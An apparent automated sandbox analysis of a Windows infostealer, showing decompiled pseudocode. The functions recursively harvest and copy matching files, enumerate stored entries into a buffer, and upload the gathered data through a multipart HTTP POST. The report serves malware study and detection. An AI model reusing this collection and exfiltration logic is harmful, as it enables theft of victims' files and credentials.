							_v1556 = _t154 + _a20 +  *0x42009c(_v1552);
							_v6572 = HeapAlloc(GetProcessHeap(), 0, _v1556);
							E00416170(_v6572,  &_v1548,  *0x42009c( &_v1548));
							E00416170(_v6572 +  *0x42009c(_a20),  &_v1548, _a16);
							E00416170( *0x42009c( *0x42009c(_v1552)) + _a20 + _v6572,  &_v1548, _v1552);
							_t238 = _t238 + 0x24;
							HttpSendRequestA(_v1032,  &_v1028,  *0x42009c(_v1556),  &_v1028, _v6572);
							E0040B2C0( &_v6572, 4);
							_v6568 = 0;
							_v6564 = 0;
							_v6576 = 0x4000;
							while(1) {
								_v8584 = InternetReadFile(_v1032,  &_v8580, 0x7cf,  &_v8588);
								if(_v8584 == 0 || _v8588 == 0) {
									break;
								}
								 *((char*)(_t237 + _v8588 - 0x2180)) = 0;
								lstrcatA( &_v6556,  &_v8580);
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6560);
				InternetCloseHandle(_v520);
				return E004047B0( &_v6556);
			}

0x00404a28
0x00404a3c
0x00404a4d
0x00404a5e
0x00404a71
0x00404a77
0x00404a89
0x00404a9e
0x00404aa4
0x00404aba
0x00404ac0
0x00404ac7
0x00404acf
0x00404ad4
0x00404adf
0x00404af1
0x00404b03
0x00404b17
0x00404b29
0x00404b3b
0x00404b41
0x00404b4f
0x00404b63
0x00404b86
0x00404b93
0x00404ba4
0x00404baf
0x00404bc2
0x00404bcf
0x00404be1
0x00404bf5
0x00404c07
0x00404c0d
0x00404c1a
0x00404c20
0x00404c2e
0x00404c40
0x00404c51
0x00404c63
0x00404c75
0x00404c89
0x00404c9b
0x00404ca1
0x00404cae
0x00404cbf
0x00404cd1
0x00404cd7
0x00404ce5
0x00404cf7
0x00404cfd
0x00404d0b
0x00404d1d
0x00404d2a
0x00404d44
0x00404d60
0x00404d82
0x00404da6
0x00404dda
0x00404ddf
0x00404e0c
0x00404e1b
0x00404e20
0x00404e2a
0x00404e34
0x00404e3e
0x00404e5e
0x00404e6b
0x00000000
0x00000000
0x00404e7e
0x00404e94
0x00404e94
0x00404e76
0x00404bcf
0x00404b93
0x00404ea3
0x00404eb0
0x00404ebd
0x00404ed6

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406386,008AC460,008B26D0,?,?), ref: 00404A6A
RtlAllocateHeap.NTDLL(00000000,?,?,00406386,008AC460,008B26D0,?,?,?,?,00001388), ref: 00404A71
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404A98
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404ABA
lstrcatA.KERNEL32(?,00000000), ref: 00404ADF
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404AF1
lstrcatA.KERNEL32(?,------), ref: 00404B03
lstrcatA.KERNEL32(?,?), ref: 00404B17
lstrcatA.KERNEL32(?,0041D2E8), ref: 00404B29
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404B3B
lstrcatA.KERNEL32(?,008AF9F8), ref: 00404B4F
lstrcatA.KERNEL32(?,?), ref: 00404B63
InternetConnectA.WININET(?,00000000,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404B80
HttpOpenRequestA.WININET(00000000,008B2D78,?,008B35D0,00000000,00000000,00400000,00000000), ref: 00404BBC
lstrcatA.KERNEL32(?,------), ref: 00404BE1
lstrcatA.KERNEL32(?,?), ref: 00404BF5
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404C07
lstrcatA.KERNEL32(?,008AB120), ref: 00404C1A
lstrcatA.KERNEL32(?,008B2DA8), ref: 00404C2E
lstrcatA.KERNEL32(?,"), ref: 00404C40
lstrcatA.KERNEL32(?,?), ref: 00404C51
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404C63
lstrcatA.KERNEL32(?,------), ref: 00404C75
lstrcatA.KERNEL32(?,?), ref: 00404C89
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404C9B
lstrcatA.KERNEL32(?,008AFBB8), ref: 00404CAE
lstrcatA.KERNEL32(?,?), ref: 00404CBF
lstrcatA.KERNEL32(?,"), ref: 00404CD1
lstrcatA.KERNEL32(?,008AB180), ref: 00404CE5
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404CF7
lstrcatA.KERNEL32(?,008AB1B0), ref: 00404D0B
lstrcatA.KERNEL32(?,), ref: 00404D1D
lstrlen.KERNEL32(?), ref: 00404D2A
lstrlen.KERNEL32(?), ref: 00404D3C
GetProcessHeap.KERNEL32(00000000,?), ref: 00404D53
HeapAlloc.KERNEL32(00000000), ref: 00404D5A
lstrlen.KERNEL32(?), ref: 00404D6D
lstrlen.KERNEL32(?,?,?), ref: 00404D99
lstrlen.KERNEL32(?), ref: 00404DB5
lstrlen.KERNEL32(?,?,00000000), ref: 00404DCA
lstrlen.KERNEL32(?,?,?), ref: 00404DF7
HttpSendRequestA.WININET(?,?,00000000), ref: 00404E0C
InternetReadFile.WININET(?,?,000007CF,?), ref: 00404E58
lstrcatA.KERNEL32(?,00000000), ref: 00404E94
InternetCloseHandle.WININET(?), ref: 00404EA3
InternetCloseHandle.WININET(?), ref: 00404EB0
InternetCloseHandle.WININET(00000000), ref: 00404EBD

Part of subcall function 0040B450: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B471

Strings

", xrefs: 00404C34
------, xrefs: 00404AF7, 00404BD5, 00404C69
", xrefs: 00404CC5
, xrefs: 00404D11

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Internetlstrlen$Heap$CloseHandle$HttpOpenProcessRequest$AllocAllocateConnectFileOptionReadSendSystemTime
String ID: $"$"$------
API String ID: 2723081098-4248722343
Opcode ID: 5f4ed7d673a2427caadf672a32a314ac7f038ed9bbbed9edeaf5007c3571c9bf
Instruction ID: 2b200962d06f157dcb13a9a061cd603f7601a8e51cd601717924d165f946ddbc
Opcode Fuzzy Hash: 5f4ed7d673a2427caadf672a32a314ac7f038ed9bbbed9edeaf5007c3571c9bf
Instruction Fuzzy Hash: D0D174B6A40318AFCB20DBA0DC49FDB73B9AB48700F4485D9B309A3181DB759A95CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00406760, Relevance: 45.3, APIs: 30, Instructions: 297
libraryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00406760() {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				signed char _v21;
				char _v284;
				char _v540;
				char _v796;
				int _v800;
				struct _OSVERSIONINFOA _v956;
				struct HINSTANCE__* _v960;
				char _v1220;
				signed int _v1224;
				int _v1228;
				int _v1232;
				intOrPtr* _v1236;
				intOrPtr _v1240;
				char _v1241;
				intOrPtr _v1248;
				int _t100;
				CHAR* _t115;
				CHAR* _t118;
				CHAR* _t121;
				CHAR* _t127;
				CHAR* _t129;
				CHAR* _t132;
				CHAR* _t146;
				CHAR* _t153;
				CHAR* _t158;
				CHAR* _t171;
				CHAR* _t172;
				CHAR* _t173;
				CHAR* _t174;
				CHAR* _t175;
				CHAR* _t177;
				CHAR* _t178;
				CHAR* _t180;
				CHAR* _t181;
				CHAR* _t185;
				CHAR* _t195;
				CHAR* _t196;
				CHAR* _t197;
				CHAR* _t198;
				CHAR* _t199;
				CHAR* _t201;
				CHAR* _t203;
				CHAR* _t204;
				CHAR* _t207;

				_v956.dwOSVersionInfoSize = 0;
				E00413730( &(_v956.dwMajorVersion), 0, 0x90);
				E00413730( &_v956, 0, 0x94);
				_v956.dwOSVersionInfoSize = 0x94;
				GetVersionExA( &_v956);
				if(_v956.dwMajorVersion != 6 || _v956.dwMinorVersion < 2) {
					_v1232 = 0;
				} else {
					_v1232 = 1;
				}
				_v21 = _v1232;
				_v20 = 0;
				_v960 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v800 = 0;
				_t158 =  *0x41fd14; // 0x8b3030
				_v960 = LoadLibraryA(_t158);
				if(_v960 == 0) {
					L23:
					 *0x420198(_v8);
					 *0x4200b8( &_v16);
					return FreeLibrary(_v960);
				} else {
					_t100 =  *0x420158(0x41eb30, 0,  &_v16); // executed
					_v20 = _t100;
					if(_v20 != 0) {
						goto L23;
					}
					_v20 =  *0x4201c0(_v16, 0x200,  &_v12,  &_v8);
					if(_v20 == 0 && _v12 != 0) {
						_v1224 = 0;
						while(_v1224 < _v12) {
							if((_v21 & 0x000000ff) == 0) {
								_v1228 = _v1224 * 0x34 + _v8;
								asm("repe cmpsd");
								if(0 != 0) {
									L22:
									_v1224 = _v1224 + 1;
									continue;
								}
								WideCharToMultiByte(0, 0,  *(_v1228 + 0x10), 0xffffffff,  &_v284, 0x100, 0, 0);
								_v1236 =  &_v284;
								_v1240 = _v1236 + 1;
								do {
									_v1241 =  *_v1236;
									_v1236 = _v1236 + 1;
								} while (_v1241 != 0);
								_v1248 = _v1236 - _v1240;
								if(_v1248 > 2) {
									WideCharToMultiByte(0, 0,  *(_v1228 + 0x10), 0xffffffff,  &_v284, 0x100, 0, 0);
									_t195 =  *0x41fae0; // 0x8b2d88
									_t115 =  *0x41ffe0; // 0x0
									lstrcatA(_t115, _t195);
									_t196 =  *0x41ffe0; // 0x0
									lstrcatA(_t196,  &_v284);
									_t118 =  *0x41ffe0; // 0x0
									lstrcatA(_t118, "\n");
									_t171 =  *0x41f820; // 0x8b2dc8
									_t197 =  *0x41ffe0; // 0x0
									lstrcatA(_t197, _t171);
									_t121 =  *0x41ffe0; // 0x0
									lstrcatA(_t121, "\n");
									_t172 =  *0x41f8f4; // 0x8b2e08
									_t198 =  *0x41ffe0; // 0x0
									lstrcatA(_t198, _t172);
									_t173 =  *0x41ffe0; // 0x0
									lstrcatA(_t173,  &_v1220);
									_t199 =  *0x41ffe0; // 0x0
									lstrcatA(_t199, "\n");
									_t127 =  *0x41f81c; // 0x8b2e28
									_t174 =  *0x41ffe0; // 0x0
									lstrcatA(_t174, _t127);
									_t129 =  *0x41ffe0; // 0x0
									lstrcatA(_t129,  &_v796);
									_t175 =  *0x41ffe0; // 0x0
									lstrcatA(_t175, "\n");
									_t201 =  *0x41f8fc; // 0x8b2e38
									_t132 =  *0x41ffe0; // 0x0
									lstrcatA(_t132, _t201);
									WideCharToMultiByte(0, 0,  *((intOrPtr*)(_v1228 + 0x14)) + 0x20, 0xffffffff,  &_v1220, 0x100, 0, 0);
									_t177 =  *0x41f8f4; // 0x8b2e08
									_t203 =  *0x41ffe0; // 0x0
									lstrcatA(_t203, _t177);
									_t178 =  *0x41ffe0; // 0x0
									lstrcatA(_t178,  &_v1220);
									_t204 =  *0x41ffe0; // 0x0
									lstrcatA(_t204, "\n");
									WideCharToMultiByte(0, 0,  *((intOrPtr*)(_v1228 + 0x18)) + 0x20, 0xffffffff,  &_v796, 0x100, 0, 0);
									_t180 =  *0x41ffe0; // 0x0
									lstrcatA(_t180,  &_v796);
									_t207 =  *0x41ffe0; // 0x0
									lstrcatA(_t207, "\n");
									_t146 =  *0x41f8fc; // 0x8b2e38
									_t181 =  *0x41ffe0; // 0x0
									lstrcatA(_t181, _t146);
									_v800 = 0;
									_v20 =  *0x42012c(_v16, _v1228,  *((intOrPtr*)(_v1228 + 0x14)),  *((intOrPtr*)(_v1228 + 0x18)), 0, 0,  &_v800);
									if(_v20 == 0) {
										_v1228 = _v800;
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_v1228 + 0x1c)) + 0x20, 0xffffffff,  &_v540, 0x100, 0, 0);
										_t153 =  *0x41ffe0; // 0x0
										lstrcatA(_t153, 0x41d8e0);
									} else {
										_t185 =  *0x41ffe0; // 0x0
										lstrcatA(_t185,  &_v540);
									}
								}
								if(_v800 != 0) {
									 *0x420198(_v800);
								}
								goto L22;
							}
							goto L22;
						}
					}
					goto L23;
				}
			}

0x0040676b
0x00406783
0x00406799
0x004067a1
0x004067b2
0x004067bf
0x004067d6
0x004067ca
0x004067ca
0x004067ca
0x004067e6
0x004067e9
0x004067f0
0x004067fa
0x00406801
0x00406808
0x0040680f
0x00406819
0x00406826
0x00406833
0x00406bed
0x00406bf1
0x00406bfb
0x00406c13
0x00406839
0x00406844
0x0040684a
0x00406851
0x00000000
0x00000000
0x0040686e
0x00406875
0x00406885
0x004068a0
0x004068b5
0x004068c8
0x004068e0
0x004068e2
0x00406be8
0x0040689a
0x00000000
0x0040689a
0x00406908
0x00406914
0x00406923
0x00406929
0x00406931
0x00406937
0x0040693e
0x00406953
0x00406960
0x00406986
0x0040698c
0x00406993
0x00406999
0x004069a6
0x004069ad
0x004069b8
0x004069be
0x004069c4
0x004069cb
0x004069d2
0x004069dd
0x004069e3
0x004069e9
0x004069f0
0x004069f7
0x00406a04
0x00406a0b
0x00406a16
0x00406a1d
0x00406a23
0x00406a29
0x00406a30
0x00406a3d
0x00406a43
0x00406a4e
0x00406a55
0x00406a5b
0x00406a62
0x00406a68
0x00406a91
0x00406a97
0x00406a9e
0x00406aa5
0x00406ab2
0x00406ab9
0x00406ac4
0x00406acb
0x00406af4
0x00406b01
0x00406b08
0x00406b13
0x00406b1a
0x00406b20
0x00406b26
0x00406b2d
0x00406b33
0x00406b6d
0x00406b74
0x00406b92
0x00406bbb
0x00406bc6
0x00406bcc
0x00406b76
0x00406b7d
0x00406b84
0x00406b84
0x00406b74
0x00406bd9
0x00406be2
0x00406be2
0x00000000
0x00406bd9
0x00000000
0x004068b7
0x004068a0
0x00000000
0x00406875

APIs

_memset.LIBCMT ref: 00406783
_memset.LIBCMT ref: 00406799
GetVersionExA.KERNEL32(00000094), ref: 004067B2
LoadLibraryA.KERNEL32(008B3030), ref: 00406820

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _memset$LibraryLoadVersion
String ID:
API String ID: 871892915-0
Opcode ID: 701c394ec54c5831f0d20ae1f6d0c038ee145a4bf6cc3f1700d3980a96488b0d
Instruction ID: 9e22882a0cc8ad816466150cca4e1c674a47250bbd95988c8ba051be482521e7
Opcode Fuzzy Hash: 701c394ec54c5831f0d20ae1f6d0c038ee145a4bf6cc3f1700d3980a96488b0d
Instruction Fuzzy Hash: E8D176B1A00318AFDB64CF50DC45FEA77B9BB48704F1481A9E209A72D5C774AA86CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405990, Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405990(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, CHAR* _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t73;
				CHAR* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t117;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t160;

				_t157 = __edi;
				_t117 = __ebx;
				E00416530(0x17f0);
				wsprintfA( &_v5268, "%s\\*", _a16);
				_t159 = _t158 + 0xc;
				_t73 = FindFirstFileA( &_v5268,  &_v5596); // executed
				_v5272 = _t73;
				E0040B2C0( &_v5004, 0x1388);
				_t76 = lstrcatA( &_v5004, _a36);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x4201dc( &(_v5596.cFileName), ".");
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x4201dc( &(_v5596.cFileName), "..");
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\\%s", _a16,  &(_v5596.cFileName));
						_t160 = _t159 + 0x10;
						_t85 =  *0x4201dc(_a12, 0x4187ce);
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t159 = _t160 + 0x14;
							} else {
								wsprintfA( &_v5860, "%s\\%s", _a12,  &(_v5596.cFileName));
								_t159 = _t160 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s", _a4,  &(_v5596.cFileName));
								_t159 = _t160 + 0x10;
							} else {
								wsprintfA( &_v5860, "%s",  &(_v5596.cFileName));
								_t159 = _t160 + 0xc;
							}
						}
						_t89 =  *0x42009c( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E00413390(_a8,  &_v5860,  &(_v5596.cFileName));
								_t159 = _t159 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405990(_t117, _t157, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t159 = _t159 + 0x24;
							}
							goto L25;
						}
						_t102 = E00413451(_t117,  &_v6132, _t157,  &_v5004, ",",  &_v6132);
						_t159 = _t159 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x420124( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E00413390(_a8,  &_v5860,  &(_v5596.cFileName));
									_t159 = _t159 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E00413451(_t117,  &_v6132, _t157, 0, ",",  &_v6132);
							_t159 = _t159 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405990
0x00405990
0x00405998
0x004059ad
0x004059b3
0x004059c4
0x004059ca
0x004059dc
0x004059ec
0x004059f9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a00
0x00405a00
0x00405a0c
0x00405a12
0x00405a14
0x00405a2c
0x00000000
0x00405a2c
0x00405a22
0x00405a28
0x00405a2a
0x00405a48
0x00405a4e
0x00405a5a
0x00405a60
0x00405a62
0x00405aaa
0x00405aae
0x00405aed
0x00405af3
0x00405ab0
0x00405ac7
0x00405acd
0x00405acd
0x00405a64
0x00405a64
0x00405a68
0x00405a9f
0x00405aa5
0x00405a6a
0x00405a7d
0x00405a83
0x00405a83
0x00405aa8
0x00405afd
0x00405b03
0x00405b06
0x00405bd4
0x00405bda
0x00405bdc
0x00405bee
0x00405c06
0x00405c0b
0x00405c15
0x00405c15
0x00405c1b
0x00405c1b
0x00405c1f
0x00405c4b
0x00405c50
0x00405c50
0x00000000
0x00405c1f
0x00405b1f
0x00405b24
0x00405b27
0x00405b2d
0x00405b2d
0x00405b34
0x00000000
0x00000000
0x00405b4a
0x00405b50
0x00405b52
0x00405b5f
0x00405b65
0x00405b67
0x00405b79
0x00405b91
0x00405b96
0x00405ba0
0x00405ba0
0x00405b67
0x00405bb4
0x00405bb9
0x00405bbc
0x00405bbc
0x00000000
0x00405bc7
0x00000000
0x00405c53
0x00405c61
0x00405c67
0x00405c67
0x00000000

APIs

wsprintfA.USER32 ref: 004059AD
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 004059C4
lstrcatA.KERNEL32(?,?,?,00001388), ref: 004059EC
StrCmpCA.SHLWAPI(?,004187C4), ref: 00405A0C
StrCmpCA.SHLWAPI(?,004187C8), ref: 00405A22
FindNextFileA.KERNEL32(000000FF,?), ref: 00405C61
FindClose.KERNEL32(000000FF), ref: 00405C76

Strings

%s\%s, xrefs: 00405A3C, 00405A93, 00405ABB
%s\*, xrefs: 004059A1
%s\%s\%s, xrefs: 00405AE1

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: 2605280ea596fdfa8c71c0d8e932cd04c28cfa92bb3472725e502f9d57267e5c
Instruction ID: 64465d7309979103f61e19b7c7952f153d1485d79bbdf6f4df216205caefafca
Opcode Fuzzy Hash: 2605280ea596fdfa8c71c0d8e932cd04c28cfa92bb3472725e502f9d57267e5c
Instruction Fuzzy Hash: AC818475A00218EFDB20CF90DC44EEB73B8EF48701F84869DF50AA6181E7749A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408360, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00408360(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				int _t125;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				CHAR* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				wsprintfA( &_v268, "%s\\*", _a8);
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x4201dc( &(_v596.cFileName), ".");
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x4201dc( &(_v596.cFileName), "..");
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\\%s", _a8,  &(_v596.cFileName));
						_t273 = _t273 + 0x10;
						_t129 =  *0x41fce0; // 0x8b4238
						__eflags =  *0x4201dc( &(_v596.cFileName), _t129);
						if(__eflags != 0) {
							_t200 =  *0x41f800; // 0x8b2bd8
							__eflags =  *0x4201dc( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41fd58; // 0x8b4250
								__eflags =  *0x4201dc( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41fb0c; // 0x8b2b68
									__eflags =  *0x4201dc( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E00408360( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										lstrcatA( &_v1388, "\\");
										_t146 = E0040B450( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										lstrcatA( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1); // executed
										__eflags = _a36;
										if(__eflags != 0) {
											E00408090(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E004081D0(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388); // executed
										E0040B2C0( &_v1388, 0x104);
										E00408360( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									lstrcatA( &_v1124, "\\");
									lstrcatA( &_v1124, E0040B450( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1); // executed
									E00407E60(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00407CD0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124); // executed
									E0040B2C0( &_v1124, 0x104);
									E00408360( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
									_t273 = _t276 + 0x24;
								}
							} else {
								E004078D0(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24); // executed
								E00408360( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407640(__eflags, _a4,  &_v860, _a12, _a16, _a20); // executed
							E00408360( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
							_t273 = _t273 + 0x38;
						}
						E0040B2C0( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596); // executed
					__eflags = _t124;
				} while (_t124 != 0);
				_t125 = FindClose(_v272); // executed
				return _t125;
			}

0x00408379
0x0040837f
0x00408390
0x00408396
0x004083a3
0x00000000
0x00000000
0x00000000
0x00000000
0x004083aa
0x004083aa
0x004083b6
0x004083bc
0x004083be
0x004083d6
0x00000000
0x004083d6
0x004083cc
0x004083d2
0x004083d4
0x004083f2
0x004083f8
0x004083fb
0x0040840e
0x00408410
0x00408468
0x0040847c
0x0040847e
0x004084da
0x004084ed
0x004084ef
0x004085e8
0x004085fb
0x004085fd
0x004086ff
0x00408702
0x0040872e
0x00408733
0x00408733
0x00408603
0x0040860f
0x00408621
0x00408629
0x0040862e
0x00408639
0x0040864f
0x00408655
0x00408659
0x00408676
0x0040867b
0x0040867b
0x0040867e
0x00408682
0x0040869f
0x004086a4
0x004086a4
0x004086ae
0x004086c0
0x004086ef
0x004086f4
0x004086f4
0x004084f5
0x00408501
0x00408513
0x0040852b
0x00408541
0x00408562
0x00408567
0x0040856a
0x0040856e
0x0040858b
0x00408590
0x00408590
0x0040859a
0x004085ac
0x004085db
0x004085e0
0x004085e0
0x00408480
0x0040849b
0x004084cd
0x004084d2
0x004084d2
0x00408412
0x00408429
0x0040845b
0x00408460
0x00408460
0x00408742
0x00000000
0x00408742
0x00000000
0x00408747
0x00408755
0x0040875b
0x0040875b
0x0040876a
0x00000000

APIs

wsprintfA.USER32 ref: 00408379
FindFirstFileA.KERNEL32(?,?), ref: 00408390
StrCmpCA.SHLWAPI(?,004187C4), ref: 004083B6
StrCmpCA.SHLWAPI(?,004187C8), ref: 004083CC
FindNextFileA.KERNELBASE(000000FF,?), ref: 00408755
FindClose.KERNEL32(000000FF), ref: 0040876A

Strings

%s\%s, xrefs: 004083E6
%s\*, xrefs: 0040836D

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 060f747e29cfed2d6805b96805d365ad1eddbdb09cea1acb274a640cfaf26071
Instruction ID: cf92e24cf39b7150a25ddda51c8d6c6f782ca63e60463611b889a6be04946921
Opcode Fuzzy Hash: 060f747e29cfed2d6805b96805d365ad1eddbdb09cea1acb274a640cfaf26071
Instruction Fuzzy Hash: 32D142B2600109ABCB14DF94DD85EEB73BDBB8C704F04865DB609A3140EB35EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401240, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00401240(intOrPtr _a4, CHAR* _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				int _t46;
				CHAR* _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				wsprintfA( &_v268, "%s\\*", _a8);
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(".");
						_push( &(_v596.cFileName));
						if( *0x4201dc() == 0) {
							L4:
							goto L11;
						}
						_push("..");
						_push( &(_v596.cFileName));
						if( *0x4201dc() != 0) {
							wsprintfA( &_v1124, "%s\\%s", _a8,  &(_v596.cFileName));
							_t100 = _t99 + 0x10;
							_push(0x4187ce);
							_push(_a4);
							if( *0x4201dc() != 0) {
								wsprintfA( &_v860, "%s\\%s", _a4,  &(_v596.cFileName));
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, "%s",  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B2C0( &_v1652, 0x104);
								E0040B2C0( &_v1388, 0x104);
								lstrcatA( &_v1652, _a8);
								lstrcatA( &_v1652, "\\");
								lstrcatA( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41fd50; // 0x8b2910
								lstrcatA( &_v1388, _t66);
								lstrcatA( &_v1388,  &_v860);
								E00413390(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401240( &_v860,  &_v1124, _a12, _a16); // executed
							_t99 = _t101 + 0x10;
